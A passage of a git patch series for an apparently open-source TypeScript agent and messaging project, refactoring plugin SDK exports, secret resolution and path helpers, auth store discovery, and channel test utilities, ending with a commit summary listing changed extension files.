"./status-helpers.js"; export { chunkTextForOutbound } from "./text-chunking.js"; export { extractToolSend } from "./tool-send.js"; export { diff --git a/src/plugin-sdk/zalouser.ts b/src/plugin-sdk/zalouser.ts index 3109802fbb3..d0c75742ef0 100644 --- a/src/plugin-sdk/zalouser.ts +++ b/src/plugin-sdk/zalouser.ts @@ -57,7 +57,14 @@ export { resolveSenderCommandAuthorization } from "./command-auth.js"; export { resolveChannelAccountConfigBasePath } from "./config-paths.js"; export { loadOutboundMediaFromUrl } from "./outbound-media.js"; export { createScopedPairingAccess } from "./pairing-access.js"; +export { buildChannelSendResult } from "./channel-send-result.js"; export type { OutboundReplyPayload } from "./reply-payload.js"; -export { resolveOutboundMediaUrls, sendMediaWithLeadingCaption } from "./reply-payload.js"; +export { + isNumericTargetId, + resolveOutboundMediaUrls, + sendMediaWithLeadingCaption, + sendPayloadWithChunkedTextAndMedia, +} from "./reply-payload.js"; export { formatResolvedUnresolvedNote } from "./resolution-notes.js"; +export { buildBaseAccountStatusSnapshot } from "./status-helpers.js"; export { chunkTextForOutbound } from "./text-chunking.js"; diff --git a/src/plugins/wired-hooks-after-tool-call.e2e.test.ts b/src/plugins/wired-hooks-after-tool-call.e2e.test.ts index ad04cd80f44..147ca323a91 100644 --- a/src/plugins/wired-hooks-after-tool-call.e2e.test.ts +++ b/src/plugins/wired-hooks-after-tool-call.e2e.test.ts @@ -1,7 +1,8 @@ +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; /** * Test: after_tool_call hook wiring (pi-embedded-subscribe.handlers.tools.ts) */ -import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { createBaseToolHandlerState } from "../agents/pi-tool-handler-state.test-helpers.js"; const hookMocks = vi.hoisted(() => ({ runner: { @@ -38,17 +39,7 @@ function createToolHandlerCtx(params: { }, state: { toolMetaById: new Map(), - toolMetas: [] as Array<{ toolName?: string; meta?: string }>, - toolSummaryById: new Set(), - lastToolError: undefined, - pendingMessagingTexts: new Map(), - pendingMessagingTargets: new Map(), - pendingMessagingMediaUrls: new Map(), - messagingToolSentTexts: [] as string[], - messagingToolSentTextsNormalized: [] as string[], - messagingToolSentMediaUrls: [] as string[], - messagingToolSentTargets: [] as unknown[], - blockBuffer: "", + ...createBaseToolHandlerState(), }, log: { debug: vi.fn(), warn: vi.fn() }, flushBlockReplyBuffer: vi.fn(), diff --git a/src/secrets/auth-profiles-scan.ts b/src/secrets/auth-profiles-scan.ts index 77363c32377..d126b8dade8 100644 --- a/src/secrets/auth-profiles-scan.ts +++ b/src/secrets/auth-profiles-scan.ts @@ -73,6 +73,25 @@ export function getAuthProfileFieldSpec(type: AuthProfileCredentialType): AuthPr return AUTH_PROFILE_FIELD_SPEC_BY_TYPE[type]; } +function toSecretCredentialVisit(params: { + kind: AuthProfileCredentialType; + profileId: string; + provider: string; + profile: Record; +}): ApiKeyCredentialVisit | TokenCredentialVisit { + const spec = getAuthProfileFieldSpec(params.kind); + return { + kind: params.kind, + profileId: params.profileId, + provider: params.provider, + profile: params.profile, + valueField: spec.valueField, + refField: spec.refField, + value: params.profile[spec.valueField], + refValue: params.profile[spec.refField], + }; +} + export function* iterateAuthProfileCredentials( profiles: Record, ): Iterable { @@ -81,32 +100,13 @@ export function* iterateAuthProfileCredentials( continue; } const provider = String(value.provider); - if (value.type === "api_key") { - const spec = getAuthProfileFieldSpec("api_key"); - yield { - kind: "api_key", + if (value.type === "api_key" || value.type === "token") { + yield toSecretCredentialVisit({ + kind: value.type, profileId, provider, profile: value, - valueField: spec.valueField, - refField: spec.refField, - value: value[spec.valueField], - refValue: value[spec.refField], - }; - continue; - } - if (value.type === "token") { - const spec = getAuthProfileFieldSpec("token"); - yield { - kind: "token", - profileId, - provider, - profile: value, - valueField: spec.valueField, - refField: spec.refField, - value: value[spec.valueField], - refValue: value[spec.refField], - }; + }); continue; } if (value.type === "oauth") { diff --git a/src/secrets/auth-store-paths.ts b/src/secrets/auth-store-paths.ts new file mode 100644 index 00000000000..d2814850d23 --- /dev/null +++ b/src/secrets/auth-store-paths.ts @@ -0,0 +1,40 @@ +import fs from "node:fs"; +import path from "node:path"; +import { listAgentIds, resolveAgentDir } from "../agents/agent-scope.js"; +import { resolveAuthStorePath } from "../agents/auth-profiles/paths.js"; +import type { OpenClawConfig } from "../config/config.js"; +import { resolveUserPath } from "../utils.js"; + +export function listAuthProfileStorePaths(config: OpenClawConfig, stateDir: string): string[] { + const paths = new Set(); + // Scope default auth store discovery to the provided stateDir instead of + // ambient process env, so scans do not include unrelated host-global stores. + paths.add(path.join(resolveUserPath(stateDir), "agents", "main", "agent", "auth-profiles.json")); + + const agentsRoot = path.join(resolveUserPath(stateDir), "agents"); + if (fs.existsSync(agentsRoot)) { + for (const entry of fs.readdirSync(agentsRoot, { withFileTypes: true })) { + if (!entry.isDirectory()) { + continue; + } + paths.add(path.join(agentsRoot, entry.name, "agent", "auth-profiles.json")); + } + } + + for (const agentId of listAgentIds(config)) { + if (agentId === "main") { + paths.add( + path.join(resolveUserPath(stateDir), "agents", "main", "agent", "auth-profiles.json"), + ); + continue; + } + const agentDir = resolveAgentDir(config, agentId); + paths.add(resolveUserPath(resolveAuthStorePath(agentDir))); + } + + return [...paths]; +} + +export function collectAuthStorePaths(config: OpenClawConfig, stateDir: string): string[] { + return listAuthProfileStorePaths(config, stateDir); +} diff --git a/src/secrets/path-utils.test.ts b/src/secrets/path-utils.test.ts index c8c69ceba83..4b13bcc299b 100644 --- a/src/secrets/path-utils.test.ts +++ b/src/secrets/path-utils.test.ts @@ -11,6 +11,14 @@ function asConfig(value: unknown): OpenClawConfig { return value as OpenClawConfig; } +function createAgentListConfig(): OpenClawConfig { + return asConfig({ + agents: { + list: [{ id: "a" }], + }, + }); +} + describe("secrets path utils", () => { it("deletePathStrict compacts arrays via splice", () => { const config = asConfig({}); @@ -30,11 +38,7 @@ describe("secrets path utils", () => { }); it("setPathExistingStrict throws when path does not already exist", () => { - const config = asConfig({ - agents: { - list: [{ id: "a" }], - }, - }); + const config = createAgentListConfig(); expect(() => setPathExistingStrict( config, @@ -72,19 +76,4 @@ describe("secrets path utils", () => { expect(changed).toBe(false); expect(getPath(config, ["talk", "apiKey"])).toBe("same"); }); - - it("setPathExistingStrict fails when intermediate segment is missing", () => { - const config = asConfig({ - agents: { - list: [{ id: "a" }], - }, - }); - expect(() => - setPathExistingStrict( - config, - ["agents", "list", "0", "memorySearch", "remote", "apiKey"], - "x", - ), - ).toThrow(/Path segment does not exist/); - }); }); diff --git a/src/secrets/path-utils.ts b/src/secrets/path-utils.ts index d88fc0487e5..b04066560c8 100644 --- a/src/secrets/path-utils.ts +++ b/src/secrets/path-utils.ts @@ -10,6 +10,63 @@ function expectedContainer(nextSegment: string): "array" | "object" { return isArrayIndexSegment(nextSegment) ? "array" : "object"; } +function parseArrayLeafTarget( + cursor: unknown, + leaf: string, + segments: string[], +): { array: unknown[]; index: number } | null { + if (!Array.isArray(cursor)) { + return null; + } + if (!isArrayIndexSegment(leaf)) { + throw new Error(`Invalid array index segment "${leaf}" at ${segments.join(".")}.`); + } + return { array: cursor, index: Number.parseInt(leaf, 10) }; +} + +function traverseToLeafParent(params: { + root: unknown; + segments: string[]; + requireExistingSegment: boolean; +}): unknown { + if (params.segments.length === 0) { + throw new Error("Target path is empty."); + } + + let cursor: unknown = params.root; + for (let index = 0; index < params.segments.length - 1; index += 1) { + const segment = params.segments[index] ?? ""; + if (Array.isArray(cursor)) { + if (!isArrayIndexSegment(segment)) { + throw new Error( + `Invalid array index segment "${segment}" at ${params.segments.join(".")}.`, + ); + } + const arrayIndex = Number.parseInt(segment, 10); + if (params.requireExistingSegment && (arrayIndex < 0 || arrayIndex >= cursor.length)) { + throw new Error( + `Path segment does not exist at ${params.segments.slice(0, index + 1).join(".")}.`, + ); + } + cursor = cursor[arrayIndex]; + continue; + } + + if (!isRecord(cursor)) { + throw new Error( + `Invalid path shape at ${params.segments.slice(0, index).join(".") || ""}.`, + ); + } + if (params.requireExistingSegment && !Object.prototype.hasOwnProperty.call(cursor, segment)) { + throw new Error( + `Path segment does not exist at ${params.segments.slice(0, index + 1).join(".")}.`, + ); + } + cursor = cursor[segment]; + } + return cursor; +} + export function getPath(root: unknown, segments: string[]): unknown { if (segments.length === 0) { return undefined; @@ -77,13 +134,10 @@ export function setPathCreateStrict( } const leaf = segments[segments.length - 1] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(leaf)) { - throw new Error(`Invalid array index segment "${leaf}" at ${segments.join(".")}.`); - } - const arrayIndex = Number.parseInt(leaf, 10); - if (!isDeepStrictEqual(cursor[arrayIndex], value)) { - cursor[arrayIndex] = value; + const arrayTarget = parseArrayLeafTarget(cursor, leaf, segments); + if (arrayTarget) { + if (!isDeepStrictEqual(arrayTarget.array[arrayTarget.index], value)) { + arrayTarget.array[arrayTarget.index] = value; changed = true; } return changed; @@ -103,46 +157,16 @@ export function setPathExistingStrict( segments: string[], value: unknown, ): boolean { - if (segments.length === 0) { - throw new Error("Target path is empty."); - } - let cursor: unknown = root; - - for (let index = 0; index < segments.length - 1; index += 1) { - const segment = segments[index] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(segment)) { - throw new Error(`Invalid array index segment "${segment}" at ${segments.join(".")}.`); - } - const arrayIndex = Number.parseInt(segment, 10); - if (arrayIndex < 0 || arrayIndex >= cursor.length) { - throw new Error( - `Path segment does not exist at ${segments.slice(0, index + 1).join(".")}.`, - ); - } - cursor = cursor[arrayIndex]; - continue; - } - if (!isRecord(cursor)) { - throw new Error(`Invalid path shape at ${segments.slice(0, index).join(".") || ""}.`); - } - if (!Object.prototype.hasOwnProperty.call(cursor, segment)) { - throw new Error(`Path segment does not exist at ${segments.slice(0, index + 1).join(".")}.`); - } - cursor = cursor[segment]; - } + const cursor = traverseToLeafParent({ root, segments, requireExistingSegment: true }); const leaf = segments[segments.length - 1] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(leaf)) { - throw new Error(`Invalid array index segment "${leaf}" at ${segments.join(".")}.`); - } - const arrayIndex = Number.parseInt(leaf, 10); - if (arrayIndex < 0 || arrayIndex >= cursor.length) { + const arrayTarget = parseArrayLeafTarget(cursor, leaf, segments); + if (arrayTarget) { + if (arrayTarget.index < 0 || arrayTarget.index >= arrayTarget.array.length) { throw new Error(`Path segment does not exist at ${segments.join(".")}.`); } - if (!isDeepStrictEqual(cursor[arrayIndex], value)) { - cursor[arrayIndex] = value; + if (!isDeepStrictEqual(arrayTarget.array[arrayTarget.index], value)) { + arrayTarget.array[arrayTarget.index] = value; return true; } return false; @@ -161,36 +185,16 @@ export function setPathExistingStrict( } export function deletePathStrict(root: OpenClawConfig, segments: string[]): boolean { - if (segments.length === 0) { - throw new Error("Target path is empty."); - } - let cursor: unknown = root; - for (let index = 0; index < segments.length - 1; index += 1) { - const segment = segments[index] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(segment)) { - throw new Error(`Invalid array index segment "${segment}" at ${segments.join(".")}.`); - } - cursor = cursor[Number.parseInt(segment, 10)]; - continue; - } - if (!isRecord(cursor)) { - throw new Error(`Invalid path shape at ${segments.slice(0, index).join(".") || ""}.`); - } - cursor = cursor[segment]; - } + const cursor = traverseToLeafParent({ root, segments, requireExistingSegment: false }); const leaf = segments[segments.length - 1] ?? ""; - if (Array.isArray(cursor)) { - if (!isArrayIndexSegment(leaf)) { - throw new Error(`Invalid array index segment "${leaf}" at ${segments.join(".")}.`); - } - const arrayIndex = Number.parseInt(leaf, 10); - if (arrayIndex < 0 || arrayIndex >= cursor.length) { + const arrayTarget = parseArrayLeafTarget(cursor, leaf, segments); + if (arrayTarget) { + if (arrayTarget.index < 0 || arrayTarget.index >= arrayTarget.array.length) { return false; } // Arrays are compacted to preserve predictable index semantics. - cursor.splice(arrayIndex, 1); + arrayTarget.array.splice(arrayTarget.index, 1); return true; } if (!isRecord(cursor)) { diff --git a/src/secrets/resolve-secret-input-string.ts b/src/secrets/resolve-secret-input-string.ts new file mode 100644 index 00000000000..0f23404acf2 --- /dev/null +++ b/src/secrets/resolve-secret-input-string.ts @@ -0,0 +1,41 @@ +import type { OpenClawConfig } from "../config/config.js"; +import { + normalizeSecretInputString, + resolveSecretInputRef, + type SecretRef, +} from "../config/types.secrets.js"; +import { resolveSecretRefString } from "./resolve.js"; + +type SecretDefaults = NonNullable["defaults"]; + +export async function resolveSecretInputString(params: { + config: OpenClawConfig; + value: unknown; + env: NodeJS.ProcessEnv; + defaults?: SecretDefaults; + normalize?: (value: unknown) => string | undefined; + onResolveRefError?: (error: unknown, ref: SecretRef) => never; +}): Promise { + const normalize = params.normalize ?? normalizeSecretInputString; + const { ref } = resolveSecretInputRef({ + value: params.value, + defaults: params.defaults ?? params.config.secrets?.defaults, + }); + if (!ref) { + return normalize(params.value); + } + + let resolved: string; + try { + resolved = await resolveSecretRefString(ref, { + config: params.config, + env: params.env, + }); + } catch (error) { + if (params.onResolveRefError) { + return params.onResolveRefError(error, ref); + } + throw error; + } + return normalize(resolved); +} diff --git a/src/secrets/resolve.ts b/src/secrets/resolve.ts index 8b2cb9c6a5d..039875c464c 100644 --- a/src/secrets/resolve.ts +++ b/src/secrets/resolve.ts @@ -127,6 +127,33 @@ function refResolutionError(params: { return new SecretRefResolutionError(params); } +function throwUnknownProviderResolutionError(params: { + source: SecretRefSource; + provider: string; + err: unknown; +}): never { + if (isSecretResolutionError(params.err)) { + throw params.err; + } + throw providerResolutionError({ + source: params.source, + provider: params.provider, + message: describeUnknownError(params.err), + cause: params.err, + }); +} + +async function readFileStatOrThrow(pathname: string, label: string) { + const stat = await safeStat(pathname); + if (!stat.ok) { + throw new Error(`${label} is not readable: ${pathname}`); + } + if (stat.isDir) { + throw new Error(`${label} must be a file: ${pathname}`); + } + return stat; +} + function isAbsolutePathname(value: string): boolean { return ( path.isAbsolute(value) || @@ -189,13 +216,7 @@ async function assertSecurePath(params: { } let effectivePath = params.targetPath; - let stat = await safeStat(effectivePath); - if (!stat.ok) { - throw new Error(`${params.label} is not readable: ${effectivePath}`); - } - if (stat.isDir) { - throw new Error(`${params.label} must be a file: ${effectivePath}`); - } + let stat = await readFileStatOrThrow(effectivePath, params.label); if (stat.isSymlink) { if (!params.allowSymlinkPath) { throw new Error(`${params.label} must not be a symlink: ${effectivePath}`); @@ -208,13 +229,7 @@ async function assertSecurePath(params: { if (!isAbsolutePathname(effectivePath)) { throw new Error(`${params.label} resolved symlink target must be an absolute path.`); } - stat = await safeStat(effectivePath); - if (!stat.ok) { - throw new Error(`${params.label} is not readable: ${effectivePath}`); - } - if (stat.isDir) { - throw new Error(`${params.label} must be a file: ${effectivePath}`); - } + stat = await readFileStatOrThrow(effectivePath, params.label); if (stat.isSymlink) { throw new Error(`${params.label} symlink target must not be a symlink: ${effectivePath}`); } @@ -372,14 +387,10 @@ async function resolveFileRefs(params: { cache: params.cache, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: "file", provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } const mode = params.providerConfig.mode ?? "json"; @@ -664,14 +675,10 @@ async function resolveExecRefs(params: { allowSymlinkPath: params.providerConfig.allowSymlinkCommand, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: "exec", provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } @@ -724,14 +731,10 @@ async function resolveExecRefs(params: { maxOutputBytes, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: "exec", provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } if (result.termination === "timeout") { @@ -765,14 +768,10 @@ async function resolveExecRefs(params: { jsonOnly, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: "exec", provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } const resolved = new Map(); @@ -822,14 +821,10 @@ async function resolveProviderRefs(params: { message: `Unsupported secret provider source "${String((params.providerConfig as { source?: unknown }).source)}".`, }); } catch (err) { - if (isSecretResolutionError(err)) { - throw err; - } - throw providerResolutionError({ + throwUnknownProviderResolutionError({ source: params.source, provider: params.providerName, - message: describeUnknownError(err), - cause: err, + err, }); } } diff --git a/src/secrets/storage-scan.ts b/src/secrets/storage-scan.ts index 15c02f1922c..ccbfc544f6d 100644 --- a/src/secrets/storage-scan.ts +++ b/src/secrets/storage-scan.ts @@ -1,49 +1,16 @@ import fs from "node:fs"; import path from "node:path"; -import { listAgentIds, resolveAgentDir } from "../agents/agent-scope.js"; -import { resolveAuthStorePath } from "../agents/auth-profiles/paths.js"; import type { OpenClawConfig } from "../config/config.js"; import { resolveUserPath } from "../utils.js"; +import { listAuthProfileStorePaths as listAuthProfileStorePathsFromAuthStorePaths } from "./auth-store-paths.js"; +import { parseEnvValue } from "./shared.js"; export function parseEnvAssignmentValue(raw: string): string { - const trimmed = raw.trim(); - if ( - (trimmed.startsWith('"') && trimmed.endsWith('"')) || - (trimmed.startsWith("'") && trimmed.endsWith("'")) - ) { - return trimmed.slice(1, -1); - } - return trimmed; + return parseEnvValue(raw); } export function listAuthProfileStorePaths(config: OpenClawConfig, stateDir: string): string[] { - const paths = new Set(); - // Scope default auth store discovery to the provided stateDir instead of - // ambient process env, so scans do not include unrelated host-global stores. - paths.add(path.join(resolveUserPath(stateDir), "agents", "main", "agent", "auth-profiles.json")); - - const agentsRoot = path.join(resolveUserPath(stateDir), "agents"); - if (fs.existsSync(agentsRoot)) { - for (const entry of fs.readdirSync(agentsRoot, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue; - } - paths.add(path.join(agentsRoot, entry.name, "agent", "auth-profiles.json")); - } - } - - for (const agentId of listAgentIds(config)) { - if (agentId === "main") { - paths.add( - path.join(resolveUserPath(stateDir), "agents", "main", "agent", "auth-profiles.json"), - ); - continue; - } - const agentDir = resolveAgentDir(config, agentId); - paths.add(resolveUserPath(resolveAuthStorePath(agentDir))); - } - - return [...paths]; + return listAuthProfileStorePathsFromAuthStorePaths(config, stateDir); } export function listLegacyAuthJsonPaths(stateDir: string): string[] { diff --git a/src/secrets/target-registry-query.ts b/src/secrets/target-registry-query.ts index 5d46020d3b8..fcfdc694f85 100644 --- a/src/secrets/target-registry-query.ts +++ b/src/secrets/target-registry-query.ts @@ -74,6 +74,73 @@ function buildAuthProfileTargetIdIndex(): Map): Set | null { + if (targetIds === undefined) { + return null; + } + return new Set( + Array.from(targetIds) + .map((entry) => entry.trim()) + .filter((entry) => entry.length > 0), + ); +} + +function resolveDiscoveryEntries(params: { + allowedTargetIds: Set | null; + defaultEntries: CompiledTargetRegistryEntry[]; + entriesById: Map; +}): CompiledTargetRegistryEntry[] { + if (params.allowedTargetIds === null) { + return params.defaultEntries; + } + return Array.from(params.allowedTargetIds).flatMap( + (targetId) => params.entriesById.get(targetId) ?? [], + ); +} + +function discoverSecretTargetsFromEntries( + source: unknown, + discoveryEntries: CompiledTargetRegistryEntry[], +): DiscoveredConfigSecretTarget[] { + const out: DiscoveredConfigSecretTarget[] = []; + const seen = new Set(); + + for (const entry of discoveryEntries) { + const expanded = expandPathTokens(source, entry.pathTokens); + for (const match of expanded) { + const resolved = toResolvedPlanTarget(entry, match.segments, match.captures); + if (!resolved) { + continue; + } + const key = `${entry.id}:${resolved.pathSegments.join(".")}`; + if (seen.has(key)) { + continue; + } + seen.add(key); + const refValue = resolved.refPathSegments + ? getPath(source, resolved.refPathSegments) + : undefined; + out.push({ + entry, + path: resolved.pathSegments.join("."), + pathSegments: resolved.pathSegments, + ...(resolved.refPathSegments + ? { + refPathSegments: resolved.refPathSegments, + refPath: resolved.refPathSegments.join("."), + } + : {}), + value: match.value, + ...(resolved.providerId ? { providerId: resolved.providerId } : {}), + ...(resolved.accountId ? { accountId: resolved.accountId } : {}), + ...(resolved.refPathSegments ? { refValue } : {}), + }); + } + } + + return out; +} + function toResolvedPlanTarget( entry: CompiledTargetRegistryEntry, pathSegments: string[], @@ -182,58 +249,13 @@ export function discoverConfigSecretTargetsByIds( config: OpenClawConfig, targetIds?: Iterable, ): DiscoveredConfigSecretTarget[] { - const allowedTargetIds = - targetIds === undefined - ? null - : new Set( - Array.from(targetIds) - .map((entry) => entry.trim()) - .filter((entry) => entry.length > 0), - ); - const out: DiscoveredConfigSecretTarget[] = []; - const seen = new Set(); - - const discoveryEntries = - allowedTargetIds === null - ? OPENCLAW_COMPILED_SECRET_TARGETS - : Array.from(allowedTargetIds).flatMap( - (targetId) => OPENCLAW_TARGETS_BY_ID.get(targetId) ?? [], - ); - - for (const entry of discoveryEntries) { - const expanded = expandPathTokens(config, entry.pathTokens); - for (const match of expanded) { - const resolved = toResolvedPlanTarget(entry, match.segments, match.captures); - if (!resolved) { - continue; - } - const key = `${entry.id}:${resolved.pathSegments.join(".")}`; - if (seen.has(key)) { - continue; - } - seen.add(key); - const refValue = resolved.refPathSegments - ? getPath(config, resolved.refPathSegments) - : undefined; - out.push({ - entry, - path: resolved.pathSegments.join("."), - pathSegments: resolved.pathSegments, - ...(resolved.refPathSegments - ? { - refPathSegments: resolved.refPathSegments, - refPath: resolved.refPathSegments.join("."), - } - : {}), - value: match.value, - ...(resolved.providerId ? { providerId: resolved.providerId } : {}), - ...(resolved.accountId ? { accountId: resolved.accountId } : {}), - ...(resolved.refPathSegments ? { refValue } : {}), - }); - } - } - - return out; + const allowedTargetIds = normalizeAllowedTargetIds(targetIds); + const discoveryEntries = resolveDiscoveryEntries({ + allowedTargetIds, + defaultEntries: OPENCLAW_COMPILED_SECRET_TARGETS, + entriesById: OPENCLAW_TARGETS_BY_ID, + }); + return discoverSecretTargetsFromEntries(config, discoveryEntries); } export function discoverAuthProfileSecretTargets(store: unknown): DiscoveredConfigSecretTarget[] { @@ -244,58 +266,13 @@ export function discoverAuthProfileSecretTargetsByIds( store: unknown, targetIds?: Iterable, ): DiscoveredConfigSecretTarget[] { - const allowedTargetIds = - targetIds === undefined - ? null - : new Set( - Array.from(targetIds) - .map((entry) => entry.trim()) - .filter((entry) => entry.length > 0), - ); - const out: DiscoveredConfigSecretTarget[] = []; - const seen = new Set(); - - const discoveryEntries = - allowedTargetIds === null - ? AUTH_PROFILES_COMPILED_SECRET_TARGETS - : Array.from(allowedTargetIds).flatMap( - (targetId) => AUTH_PROFILES_TARGETS_BY_ID.get(targetId) ?? [], - ); - - for (const entry of discoveryEntries) { - const expanded = expandPathTokens(store, entry.pathTokens); - for (const match of expanded) { - const resolved = toResolvedPlanTarget(entry, match.segments, match.captures); - if (!resolved) { - continue; - } - const key = `${entry.id}:${resolved.pathSegments.join(".")}`; - if (seen.has(key)) { - continue; - } - seen.add(key); - const refValue = resolved.refPathSegments - ? getPath(store, resolved.refPathSegments) - : undefined; - out.push({ - entry, - path: resolved.pathSegments.join("."), - pathSegments: resolved.pathSegments, - ...(resolved.refPathSegments - ? { - refPathSegments: resolved.refPathSegments, - refPath: resolved.refPathSegments.join("."), - } - : {}), - value: match.value, - ...(resolved.providerId ? { providerId: resolved.providerId } : {}), - ...(resolved.accountId ? { accountId: resolved.accountId } : {}), - ...(resolved.refPathSegments ? { refValue } : {}), - }); - } - } - - return out; + const allowedTargetIds = normalizeAllowedTargetIds(targetIds); + const discoveryEntries = resolveDiscoveryEntries({ + allowedTargetIds, + defaultEntries: AUTH_PROFILES_COMPILED_SECRET_TARGETS, + entriesById: AUTH_PROFILES_TARGETS_BY_ID, + }); + return discoverSecretTargetsFromEntries(store, discoveryEntries); } export function listAuthProfileSecretTargetEntries(): SecretTargetRegistryEntry[] { diff --git a/src/shared/frontmatter.ts b/src/shared/frontmatter.ts index 91e49017be6..ce042b18762 100644 --- a/src/shared/frontmatter.ts +++ b/src/shared/frontmatter.ts @@ -137,3 +137,18 @@ export function parseOpenClawManifestInstallBase( } return spec; } + +export function applyOpenClawManifestInstallCommonFields< + T extends { id?: string; label?: string; bins?: string[] }, +>(spec: T, parsed: Pick): T { + if (parsed.id) { + spec.id = parsed.id; + } + if (parsed.label) { + spec.label = parsed.label; + } + if (parsed.bins) { + spec.bins = parsed.bins; + } + return spec; +} diff --git a/src/slack/monitor/events/interactions.ts b/src/slack/monitor/events/interactions.ts index 4f92df32be7..deca761dd52 100644 --- a/src/slack/monitor/events/interactions.ts +++ b/src/slack/monitor/events/interactions.ts @@ -37,26 +37,7 @@ type SelectOption = { text?: { text?: string }; }; -type InteractionSelectionFields = { - actionType?: string; - blockId?: string; - inputKind?: "text" | "number" | "email" | "url" | "rich_text"; - value?: string; - selectedValues?: string[]; - selectedUsers?: string[]; - selectedChannels?: string[]; - selectedConversations?: string[]; - selectedLabels?: string[]; - selectedDate?: string; - selectedTime?: string; - selectedDateTime?: number; - inputValue?: string; - inputNumber?: number; - inputEmail?: string; - inputUrl?: string; - richTextValue?: unknown; - richTextPreview?: string; -}; +type InteractionSelectionFields = Partial; type InteractionSummary = InteractionSelectionFields & { interactionType?: "block_action" | "view_submission" | "view_closed"; diff --git a/src/test-utils/imessage-test-plugin.ts b/src/test-utils/imessage-test-plugin.ts index 104d8ca847f..5a072141644 100644 --- a/src/test-utils/imessage-test-plugin.ts +++ b/src/test-utils/imessage-test-plugin.ts @@ -1,6 +1,7 @@ import { imessageOutbound } from "../channels/plugins/outbound/imessage.js"; import type { ChannelOutboundAdapter, ChannelPlugin } from "../channels/plugins/types.js"; import { normalizeIMessageHandle } from "../imessage/targets.js"; +import { collectStatusIssuesFromLastError } from "../plugin-sdk/status-helpers.js"; export const createIMessageTestPlugin = (params?: { outbound?: ChannelOutboundAdapter; @@ -20,21 +21,7 @@ export const createIMessageTestPlugin = (params?: { resolveAccount: () => ({}), }, status: { - collectStatusIssues: (accounts) => - accounts.flatMap((account) => { - const lastError = typeof account.lastError === "string" ? account.lastError.trim() : ""; - if (!lastError) { - return []; - } - return [ - { - channel: "imessage", - accountId: account.accountId, - kind: "runtime", - message: `Channel error: ${lastError}`, - }, - ]; - }), + collectStatusIssues: (accounts) => collectStatusIssuesFromLastError("imessage", accounts), }, outbound: params?.outbound ?? imessageOutbound, messaging: { From 1aa77e4603fc2ac8af13b49ca2a66dc58ec15c9a Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sat, 7 Mar 2026 10:40:57 +0000 Subject: [PATCH 108/844] refactor(extensions): reuse shared helper primitives --- extensions/bluebubbles/src/channel.ts | 67 +-- extensions/bluebubbles/src/chat.ts | 83 +-- extensions/bluebubbles/src/config-apply.ts | 77 +++ .../bluebubbles/src/monitor-normalize.ts | 13 +- .../src/monitor.webhook-auth.test.ts | 548 +++++++----------- extensions/bluebubbles/src/onboarding.ts | 47 +- extensions/bluebubbles/src/request-url.ts | 13 +- extensions/bluebubbles/src/send.ts | 35 +- extensions/diffs/src/config.test.ts | 51 +- extensions/diffs/src/tool.test.ts | 56 +- extensions/feishu/src/channel.ts | 79 ++- extensions/feishu/src/drive.ts | 28 +- .../feishu/src/monitor.reaction.test.ts | 186 +++--- extensions/feishu/src/monitor.startup.test.ts | 27 +- extensions/feishu/src/monitor.test-mocks.ts | 33 +- .../src/monitor.webhook-security.test.ts | 27 +- extensions/feishu/src/perm.ts | 24 +- extensions/feishu/src/send-message.ts | 71 +++ extensions/feishu/src/tool-result.test.ts | 32 + extensions/feishu/src/tool-result.ts | 14 + extensions/feishu/src/wiki.ts | 32 +- extensions/googlechat/src/monitor-webhook.ts | 48 +- extensions/imessage/src/channel.ts | 17 +- extensions/irc/src/inbound.ts | 52 +- extensions/line/src/channel.ts | 156 ++--- extensions/matrix/src/channel.ts | 17 +- .../matrix/src/matrix/monitor/handler.ts | 36 +- extensions/matrix/src/matrix/monitor/index.ts | 11 +- extensions/minimax-portal-auth/index.ts | 24 +- extensions/msteams/src/channel.ts | 159 +++-- extensions/msteams/src/messenger.test.ts | 33 +- .../src/monitor-handler/message-handler.ts | 21 +- extensions/msteams/src/send.ts | 81 ++- extensions/nextcloud-talk/src/channel.ts | 73 +-- extensions/nextcloud-talk/src/inbound.ts | 50 +- extensions/nextcloud-talk/src/onboarding.ts | 155 ++--- extensions/qwen-portal-auth/index.ts | 24 +- extensions/synology-chat/src/channel.test.ts | 66 +-- extensions/synology-chat/src/client.test.ts | 30 +- extensions/telegram/src/channel.test.ts | 67 +-- extensions/telegram/src/channel.ts | 41 +- extensions/twitch/src/access-control.test.ts | 81 +-- extensions/twitch/src/status.test.ts | 189 ++---- extensions/voice-call/index.ts | 37 +- extensions/voice-call/src/config.test.ts | 44 +- .../voice-call/src/providers/tts-openai.ts | 51 +- extensions/voice-call/src/runtime.test.ts | 44 +- extensions/voice-call/src/test-fixtures.ts | 52 ++ extensions/zalo/src/channel.ts | 90 +-- extensions/zalo/src/monitor.webhook.test.ts | 68 ++- extensions/zalo/src/send.ts | 53 +- extensions/zalo/src/token.ts | 52 +- extensions/zalouser/src/channel.ts | 159 ++--- .../src/monitor.account-scope.test.ts | 13 +- .../zalouser/src/monitor.group-gating.test.ts | 18 +- extensions/zalouser/src/monitor.send-mocks.ts | 20 + extensions/zalouser/src/qr-temp-file.ts | 22 + extensions/zalouser/src/zca-client.ts | 65 +-- 58 files changed, 1567 insertions(+), 2195 deletions(-) create mode 100644 extensions/bluebubbles/src/config-apply.ts create mode 100644 extensions/feishu/src/send-message.ts create mode 100644 extensions/feishu/src/tool-result.test.ts create mode 100644 extensions/feishu/src/tool-result.ts create mode 100644 extensions/voice-call/src/test-fixtures.ts create mode 100644 